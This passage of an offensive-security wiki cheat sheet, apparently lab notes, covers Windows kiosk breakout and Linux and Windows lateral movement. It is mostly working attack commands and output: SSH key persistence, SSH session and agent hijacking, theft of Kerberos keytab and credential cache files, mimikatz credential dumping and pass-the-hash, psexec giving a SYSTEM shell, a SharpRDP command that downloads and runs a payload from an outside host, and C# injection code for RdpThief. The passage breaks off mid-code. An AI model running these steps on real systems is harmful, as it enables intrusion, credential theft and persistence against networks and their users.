# Protocol for accessing newsgroups.&lt;br /&gt;
nntp:&lt;br /&gt;
# Common in VoIP services.&lt;br /&gt;
sip:&lt;br /&gt;
# Defines geographical coordinates.&lt;br /&gt;
geo:&lt;br /&gt;
# Represents Bitcoin addresses for transactions.&lt;br /&gt;
bitcoin:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Kiosk Breakout ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Windows Explorer and Applications:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Liabilities:&#039;&#039;&#039;&lt;br /&gt;
Windows Explorer integration in apps can be a kiosk security issue.&lt;br /&gt;
&lt;br /&gt;
* Especially true for Internet Explorer, foundational for many kiosks.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be substituted for full file paths in browser-based kiosks.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example:&#039;&#039;&#039; %APPDATA% → local folder for app data storage.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Environment Variables:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;xml&amp;quot;&amp;gt;&lt;br /&gt;
%ALLUSERSPROFILE%   →   C:\Documents and Settings\All Users&lt;br /&gt;
%APPDATA%           →   C:\Documents and Settings\Username\Application Data&lt;br /&gt;
%COMMONPROGRAMFILES%        →   C:\Program Files\Common Files&lt;br /&gt;
%COMMONPROGRAMFILES(x86)%   →   C:\Program Files (x86)\Common Files&lt;br /&gt;
%COMSPEC%           →   C:\Windows\System32\cmd.exe&lt;br /&gt;
%HOMEDRIVE%         →   C:\&lt;br /&gt;
%HOMEPATH%          →   C:\Documents and Settings\Username&lt;br /&gt;
%PROGRAMFILES%      →   C:\Program Files&lt;br /&gt;
%PROGRAMFILES(X86)% →   C:\Program Files (x86) (64-bit version only)&lt;br /&gt;
%SystemDrive%       →   C:\&lt;br /&gt;
%SystemRoot%        →   C:\Windows&lt;br /&gt;
%TEMP% &amp;amp; %TMP%      →   C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
%USERPROFILE%       →   C:\Documents and Settings\Username&lt;br /&gt;
%WINDIR%            →   C:\Windows&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. UNC Paths:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Enter full UNC paths in user input boxes or file browsers.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Example: &#039;&#039;&#039;&amp;lt;code&amp;gt;\127.0.0.1\C$\Windows\System32&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;shell:&amp;quot; shortcut in file browser dialogs.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shell Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
shell:System                  →   Opens the system folder&lt;br /&gt;
shell:Common Start Menu       →   Opens the Public Start Menu folder&lt;br /&gt;
shell:Downloads               →   Opens the user&#039;s Downloads folder&lt;br /&gt;
shell:MyComputerFolder        →   Opens the “This PC” window&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Browser-Protocol Style Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use &amp;quot;&amp;lt;code&amp;gt;file:///&amp;lt;/code&amp;gt;&amp;quot; to access apps or files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Windows Search Functionality:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use embedded search boxes to navigate to a file from the search results.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;7. Help Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use it to search for utilities like Notepad, cmd.exe, or PowerShell.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;8. File Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039;&lt;br /&gt;
Create shortcuts in a file browser dialog.&lt;br /&gt;
&lt;br /&gt;
* Modify the shortcut target application to an app like cmd.exe or powershell.exe.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;9. Drag and Drop:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;10. Print Dialog:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Can be used to access Windows Explorer features.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Usage:&#039;&#039;&#039; Use keyboard combinations to expand access.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Notable Shortcuts:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
!      →   Help&lt;br /&gt;
C+P    →   Print Dialog&lt;br /&gt;
E+A    →   Task Switcher&lt;br /&gt;
G+R    →   Run menu&lt;br /&gt;
C+~    →   Start Menu&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;12. Bypassing Whitelisting or Blacklisting:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Strategies:&#039;&#039;&#039;&lt;br /&gt;
Copy and paste binaries, rename and run.&lt;br /&gt;
&lt;br /&gt;
* Modify hash, filename, or filepath to bypass blacklists.&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Linux ==&lt;br /&gt;
&lt;br /&gt;
=== SSH Persistence ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Generate SSH Keypair on Kali VM:&lt;br /&gt;
kali@kali:~# ssh-keygen&lt;br /&gt;
# View and Copy the Public Key:&lt;br /&gt;
cat /home/kali/.ssh/id_rsa.pub&lt;br /&gt;
# Insert the Public Key on the Target Machine:&lt;br /&gt;
linuxvictim@linuxvictim:~$ echo &amp;quot;ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali&amp;quot; &amp;gt;&amp;gt; /home/linuxvictim/.ssh/authorized_keys&lt;br /&gt;
# SSH into the Target Machine without a Password:&lt;br /&gt;
kali@kali:~$ ssh linuxvictim@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH with ControlMaster ===&lt;br /&gt;
&lt;br /&gt;
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Create SSH Config if it does not exist:&lt;br /&gt;
offsec@controller:~$ cat &amp;gt; ~/.ssh/config&lt;br /&gt;
    Host *&lt;br /&gt;
    ControlPath ~/.ssh/controlmaster/%r@%h:%p&lt;br /&gt;
    ControlMaster auto&lt;br /&gt;
    ControlPersist 10m&lt;br /&gt;
# 2. Set Correct File Permissions:&lt;br /&gt;
offsec@controller:~$ chmod 644 ~/.ssh/config&lt;br /&gt;
# 3. Create ControlMaster Directory if it does not already exists:&lt;br /&gt;
offsec@controller:~$ mkdir ~/.ssh/controlmaster&lt;br /&gt;
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh&#039;d, exit the session and list files. As you can see there is a socket file now:&lt;br /&gt;
offsec@controller:~$ ls -al ~/.ssh/controlmaster/&lt;br /&gt;
total 8&lt;br /&gt;
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .&lt;br /&gt;
drwx------ 3 offsec offsec 4096 May 13 13:55 ..&lt;br /&gt;
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22&lt;br /&gt;
# 5. Now you can SSH Without Password (piggybacking active session):&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
# 6. SSH to the controller again, but now as the root user:&lt;br /&gt;
# List available sockets:&lt;br /&gt;
root@controller:~# ls -al /home/offsec/.ssh/controlmaster&lt;br /&gt;
# Now you can piggyback the active session with root user, without using the password:&lt;br /&gt;
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hijacking SSH using SSH-Agent and SSH Agent Forwarding ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;:&lt;br /&gt;
SSH-Agent: Manages user&#039;s private keys.&lt;br /&gt;
&lt;br /&gt;
* SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Advantages&#039;&#039;&#039;:&lt;br /&gt;
Doesn&#039;t require private key storage on the intermediate server.&lt;br /&gt;
&lt;br /&gt;
* Users don’t repeatedly input passphrases.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;How It Works&#039;&#039;&#039;:&lt;br /&gt;
SSH key requests from destination servers are passed through intermediate hosts to the originating client&#039;s SSH Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create SSH Key Pair:&lt;br /&gt;
ssh-keygen&lt;br /&gt;
# Copy Public Key to Servers:&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller&lt;br /&gt;
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim&lt;br /&gt;
# Enable Agent Forwarding on Kali Machine:&lt;br /&gt;
# Add in ~/.ssh/config:&lt;br /&gt;
ForwardAgent yes&lt;br /&gt;
# Allow Agent Forwarding on Controller Server:&lt;br /&gt;
# Add in /etc/ssh/sshd_config:&lt;br /&gt;
AlowAgentForwarding yes&lt;br /&gt;
# Start SSH-Agent:&lt;br /&gt;
kali@kali:~$ eval `ssh-agent`&lt;br /&gt;
# Add Keys to SSH-Agent:&lt;br /&gt;
kali@kali:~$ ssh-add&lt;br /&gt;
# Connect using SSH-Agent Forwarding:&lt;br /&gt;
kali@kali:~$ ssh offsec@controller&lt;br /&gt;
offsec@controller:~$ ssh offsec@linuxvictim&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux Kerberos ===&lt;br /&gt;
&lt;br /&gt;
==== General Syntax ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Logging in to the linuxvictim System&lt;br /&gt;
kali@kali:~$ ssh administrator@corp1.com@linuxvictim&lt;br /&gt;
# Note: We are using Active Directory credentials here.&lt;br /&gt;
# Kerberos Tickets and Credential Cache&lt;br /&gt;
#	• AD members using Kerberos authentication get a credential cache file.&lt;br /&gt;
#	• The cache file location is set via KRB5CCNAME environment variable.&lt;br /&gt;
#	• To find the administrator’s credential cache file:&lt;br /&gt;
env | grep KRB5CCNAME&lt;br /&gt;
# Acquiring Kerberos Tickets&lt;br /&gt;
#	• Kerberos tickets expire after some time.&lt;br /&gt;
#	• Use kinit command to get a ticket-granting ticket (TGT) for the current user.&lt;br /&gt;
kinit&lt;br /&gt;
#	• List stored tickets using klist:&lt;br /&gt;
klist&lt;br /&gt;
# Deleting Cached Tickets&lt;br /&gt;
kdestroy&lt;br /&gt;
# Accessing Kerberos Services&lt;br /&gt;
#	• Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:&lt;br /&gt;
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D &amp;quot;Administrator@CORP1.COM&amp;quot; -W -b &amp;quot;dc=corp1,dc=com&amp;quot; &amp;quot;servicePrincipalName=*&amp;quot;&lt;br /&gt;
# -Y GSSAPI - Force LDAP to use kerberos authentication&lt;br /&gt;
# Requesting a Service Ticket&lt;br /&gt;
#	• Use the kvno utility:&lt;br /&gt;
kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
#	• Confirm the ticket acquisition with klist:&lt;br /&gt;
klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
Valid starting       Expires              Service principal&lt;br /&gt;
10/05/2023 14:02:39  10/06/2023 00:02:39  krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:26  10/06/2023 00:02:39  ldap/dc01.corp1.com@CORP1.COM&lt;br /&gt;
        renew until 10/12/2023 14:02:38&lt;br /&gt;
10/05/2023 14:03:54  10/06/2023 00:02:39  MSSQLSvc/DC01.corp1.com:1433@CORP1.COM&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stealing Keytab files ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose&#039;&#039;&#039;: Automate authentication to Kerberos resources without using a password.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Keytab Files&#039;&#039;&#039;: Contain a Kerberos principal name and encrypted keys.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Creating a Sample Keytab&lt;br /&gt;
administrator@corp1.com@linuxvictim:~$ ktutil&lt;br /&gt;
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac&lt;br /&gt;
Password for administrator@CORP1.COM: [User Password Entered Here]&lt;br /&gt;
ktutil: wkt /tmp/administrator.keytab&lt;br /&gt;
ktutil: quit&lt;br /&gt;
# Keytab file created at /tmp/administrator.keytab.&lt;br /&gt;
# Potential Misuse of Keytab Files&lt;br /&gt;
# 	• With root access, keytab can be used maliciously.&lt;br /&gt;
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab&lt;br /&gt;
# Verifying the Loaded Tickets&lt;br /&gt;
root@linuxvictim:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_1000&lt;br /&gt;
Default principal: administrator@CORP1.COM&lt;br /&gt;
Valid starting    Expires            Service principal&lt;br /&gt;
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM&lt;br /&gt;
renew until 08/06/2020 15:18:34&lt;br /&gt;
# Renewing Expired Tickets&lt;br /&gt;
       • Renew tickets if expired but within renewal timeframe.&lt;br /&gt;
root@linuxvictim:~# kinit -R&lt;br /&gt;
# Exploiting Loaded Keytab Files&lt;br /&gt;
#       • Authenticate as the domain admin.&lt;br /&gt;
root@linuxvictim:~# smbclient -k -U &amp;quot;CORP1.COM\administrator&amp;quot; //DC01.CORP1.COM/C$&lt;br /&gt;
WARNING: The &amp;quot;syslog&amp;quot; option is deprecated&lt;br /&gt;
Try &amp;quot;help&amp;quot; to get a list of possible commands.&lt;br /&gt;
smb: \&amp;gt; ls&lt;br /&gt;
	$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018&lt;br /&gt;
	Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020&lt;br /&gt;
	pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020&lt;br /&gt;
	PerfLogs D 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
	Program Files DR 0 Mon Jun 15 08:10:03 2020&lt;br /&gt;
	Program Files (x86) D 0 Tue Jun 9 08:43:21 2020&lt;br /&gt;
ProgramData DH 0 Mon Jun 15 15:04:37 2020&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Abusing Credential Cache files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Lets say you find a cached credential file in /tmp.&lt;br /&gt;
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*&lt;br /&gt;
Output:&lt;br /&gt;
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000&lt;br /&gt;
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5&lt;br /&gt;
# You can copy, and take ownership of the cache file&lt;br /&gt;
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow&lt;br /&gt;
&lt;br /&gt;
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow&lt;br /&gt;
# Now, to use the stole cache file. First destroy the current keys.&lt;br /&gt;
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.&lt;br /&gt;
offsec@linuxvictim:~$ kdestroy&lt;br /&gt;
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
Output:&lt;br /&gt;
klist: No credentials cache found (filename: /tmp/krb5cc_1000)&lt;br /&gt;
...&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_minenow&lt;br /&gt;
Default principal: Administrator@CORP1.COM&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
# Requesting Service Tickets with the Stolen Cache&lt;br /&gt;
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433&lt;br /&gt;
offsec@linuxvictim:~$ klist&lt;br /&gt;
&lt;br /&gt;
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2&lt;br /&gt;
...&lt;br /&gt;
renew until 08/06/2020 15:11:08&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Using Kerberos ticket locally ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Copy the victim&#039;s stolen ccache file to the Kali machine.&lt;br /&gt;
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow&lt;br /&gt;
# Set the KRB5CCNAME environment variable to use the victim&#039;s Kerberos tickets.&lt;br /&gt;
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow&lt;br /&gt;
# These utilities help in performing ticket manipulation tasks.&lt;br /&gt;
kali@kali:~$ sudo apt install krb5-user&lt;br /&gt;
# Determine the IP address of the domain controller and configure the hosts file to recognize it.&lt;br /&gt;
offsec@linuxvictim:~$ host corp1.com&lt;br /&gt;
# Update the /etc/hosts file with domain controller details.&lt;br /&gt;
# Set up Proxy for Kerberos Authentication:&lt;br /&gt;
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.&lt;br /&gt;
#	• Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.&lt;br /&gt;
#	• Create a SOCKS server using SSH on the compromised server.&lt;br /&gt;
kali@kali:~$ ssh offsec@linuxvictim -D 9050&lt;br /&gt;
# Get Users SPN&lt;br /&gt;
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# List all AD users from domain&lt;br /&gt;
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5&lt;br /&gt;
 CORP1.COM/Administrator&lt;br /&gt;
&lt;br /&gt;
# Use Impacket&#039;s psexec to get a shell.&lt;br /&gt;
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass&lt;br /&gt;
ProxyChains-3.1 ( http://proxychains.sf.net)&lt;br /&gt;
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation&lt;br /&gt;
...&lt;br /&gt;
[*] Requesting shares on DC01.CORP1.COM.....&lt;br /&gt;
[*] Found writable share ADMIN$&lt;br /&gt;
[*] Uploading file tDwixbpM.exe&lt;br /&gt;
[*] Opening SVCManager on DC01.CORP1.COM.....&lt;br /&gt;
[*] Creating service cEiR on DC01.CORP1.COM.....&lt;br /&gt;
[*] Starting service cEiR.....&lt;br /&gt;
...&lt;br /&gt;
[!] Press help for extra shell commands&lt;br /&gt;
...&lt;br /&gt;
Microsoft Windows [Version 10.0.17763.1282]&lt;br /&gt;
(c) 2018 Microsoft Corporation. All rights reserved.&lt;br /&gt;
C:\Windows\system32&amp;gt; whoami&lt;br /&gt;
nt authority\system&lt;br /&gt;
C:\Windows\system32&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Lateral Movement - Windows ==&lt;br /&gt;
&lt;br /&gt;
=== RDP ===&lt;br /&gt;
&lt;br /&gt;
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).&lt;br /&gt;
&lt;br /&gt;
* Require local administrator to dump the NTLM hashes&lt;br /&gt;
&lt;br /&gt;
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.&lt;br /&gt;
It mitigates credential theft on the target system during the RDP session.&lt;br /&gt;
&lt;br /&gt;
* The mode is disabled by default but can be enabled via a registry entry.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
# If LSA protection is enabled, scroll a bit up to know how to disable it.&lt;br /&gt;
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.&lt;br /&gt;
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&amp;quot;mstsc.exe /restrictedadmin&amp;quot;&lt;br /&gt;
# If restricted admin is disabled, enable it by using powershell on target machine&lt;br /&gt;
 mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell&lt;br /&gt;
# A Powershell window wil popup.&lt;br /&gt;
Enter-PSSession -Computer appsrv01&lt;br /&gt;
# Enabled Restricted Admin mode&lt;br /&gt;
 New-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin -Value 0&lt;br /&gt;
# Disable RAM&lt;br /&gt;
Remove-ItemProperty -Path &amp;quot;HKLM:\System\CurrentControlSet\Control\Lsa&amp;quot; -Name DisableRestrictedAdmin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse RDP Proxying with Metasploit ====&lt;br /&gt;
&lt;br /&gt;
* Access machines protected by firewalls and NAT configurations via reverse proxying.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Prerequisite:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Already have an established meterpreter session&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Background current meterpreter shell&lt;br /&gt;
background&lt;br /&gt;
# Set Up Autoroute in Metasploit:&lt;br /&gt;
msf5 exploit(multi/handler) &amp;gt; use multi/manage/autoroute&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; set session 1&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; exploit&lt;br /&gt;
# Configure SOCKS Proxy:&lt;br /&gt;
msf5 post(multi/manage/autoroute) &amp;gt; use auxiliary/server/socks5&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; set srvhost 127.0.0.1&lt;br /&gt;
msf5 auxiliary(server/socks4a) &amp;gt; exploit -j&lt;br /&gt;
# Set Up Proxychains for Reverse Tunnel:&lt;br /&gt;
#     Add the SOCKS5 proxy IP and port to Proxychains config:&lt;br /&gt;
kali@kali:~$ sudo bash -c &#039;echo &amp;quot;socks5 127.0.0.1 1080&amp;quot; &amp;gt;&amp;gt; /etc/proxychains.conf&#039;&lt;br /&gt;
# Now you can RDP to target that is protected by edge firewall&lt;br /&gt;
kali@kali:~$ proxychains rdesktop 192.168.120.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SharpRDP.exe - Console rdp ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sharprdp.exe computername=appsrv01 command=&amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/met.exe&#039;,&lt;br /&gt;
&#039;C:\Windows\Tasks\met.exe&#039;); C:\Windows\Tasks\met.exe&amp;quot; username=corp1\dave&lt;br /&gt;
password=lab&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Steal RDP creds using RDPThief.dll ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.]&lt;br /&gt;
&lt;br /&gt;
* Build the rdpthief dll from above link.&lt;br /&gt;
If detours is missing, use Nuget to uninstall and install it again.&lt;br /&gt;
&lt;br /&gt;
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine.&lt;br /&gt;
&lt;br /&gt;
* To see the captured credentials, check the output file: &amp;lt;code&amp;gt;​C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Temp\&amp;lt;session_ID&amp;gt;\data.bin​&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Net;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;  // Added this line for Thread.Sleep()&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;, CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, CharSet = CharSet.Auto)]&lt;br /&gt;
        public static extern IntPtr GetModuleHandle(string lpModuleName);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String dllName = &amp;quot;C:\\Tools\\RdpThief.dll&amp;quot;;&lt;br /&gt;
            while (true)&lt;br /&gt;
            {&lt;br /&gt;
                Process[] mstscProc = Process.GetProcessesByName(&amp;quot;mstsc&amp;quot;);&lt;br /&gt;
                if (mstscProc.Length &amp;gt; 0)&lt;br /&gt;
	                {&lt;br /&gt;
                    for (int i = 0; i &amp;lt; mstscProc.Length; i++)&lt;br /&gt;
